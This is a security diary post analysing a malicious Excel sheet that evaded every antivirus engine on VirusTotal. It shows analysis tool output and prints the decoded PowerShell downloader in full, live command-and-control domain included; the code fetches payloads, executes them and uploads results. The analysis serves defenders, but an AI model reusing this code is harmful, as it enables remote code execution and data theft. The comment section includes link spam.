Malicious Excel Sheet with a NULL VT Score
Just a quick diary today to demonstrate, once again, that relying only on a classic antivirus solution is not sufficient in 2020. I found a sample that just has a very nice score of 0/57 on VT. Yes, according to all AV's the file is safe. Really? If it matched one of my hunting rules, there is for sure something suspicious inside. Let's have a look at it.
The file has been uploaded yesterday on VT (SHA256:1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5)[1]. It's a classic Excel sheet:
When you try to enable the macro, you see this:
Indeed, the file does not content a classic VBA macro:
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.vir 1: 107 '\x01CompObj' 2: 260 '\x05DocumentSummaryInformation' 3: 200 '\x05SummaryInformation' 4: 28779 'Workbook' 5: 558 '_VBA_PROJECT_CUR/PROJECT' 6: 83 '_VBA_PROJECT_CUR/PROJECTwm'
But if you search for interesting Base64 chunks (that's the reason why my hunting rule fired):
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py -n 500 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5.xls ID Size Encoded Decoded MD5 decoded -- ---- ------- ------- ----------- 1: 2556 SE9NRT0iJXB1Ymxp HOME="%public%\L f1cb0ede52bef36084cd08eb635b4c3c
Here is a dump of the decoded Base64 chunk:
HOME="%public%\Libraries\" SERVER="http://windowsupdate.me/update-index.aspx?req=__\" Dwn="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');while(1){try{$r=Get-Random;$wc.DownloadFile('"&SERVER&"-_&m=d','"&HOME&"dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"dn\'+$r+'.-_') -newname ($cd.Substring($cd.IndexOf('filename=')+9))}catch{break}}}""" CreateObject("WScript.Shell").Run Replace(Dwn,"-_","dwn"),0 DownloadExecute="powershell ""&{$wc=(new-object System.Net.WebClient);$wc.UseDefaultCredentials=$true;$wc.Headers.add('Accept','*/*');$wc.Headers.add('User-Agent','Microsoft BITS/7.7');$r=Get-Random;$wc.DownloadFile('http://windowsupdate.me/update-index.aspx?req=__\-_&m=d','c:\users\public\libraries\dn\'+$r+'.-_');Set-Content -Path ('"&HOME&"dn\'+$r+'.-_') -Value ([System.Convert]::FromBase64String((Get-Content -Path ('"&HOME&"dn\'+$r+'.-_')))) -Encoding Byte;Invoke-Expression ('"&HOME&"dn\'+$r+'.-_ >"&HOME&"up\'+$r+'-_');$cd=$wc.ResponseHeaders['Content-Disposition'];Rename-Item -path ('"&HOME&"up\'+$r+'-_') -newname ($cd.Substring(($cd.IndexOf('filename=')+9),($cd.Length-25))+'.bat.txt');Get-ChildItem "&HOME&"up\ | ForEach-Object {if((Get-Item ($_.FullName)).length -gt 0){[System.Convert]::ToBase64String(([System.IO.File]::ReadAllBytes($_.FullName))) | Out-File $_.FullName;$wc.UploadFile('"&SERVER&"upl&m=u',$_.FullName);waitfor haha /T 3};Remove-Item $_.FullName};Remove-Item ('"&HOME&"dn\'+$r+'.-_')}""" CreateObject("WScript.Shell").Run Replace(DownloadExecute,"-_","bat"),0 komc="powershell -exec Bypass -File "&HOME&"komisova.ps1" CreateObject("WScript.Shell").Run komc,0
This is a classic downloader that fetches a payload from hxxp://windowsupdate[.]me. So, be very careful!
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
www
Nov 17th 2022
6 months ago
EEW
Nov 17th 2022
6 months ago
qwq
Nov 17th 2022
6 months ago
mashood
Nov 17th 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
5 months ago
isc.sans.edu
Dec 26th 2022
5 months ago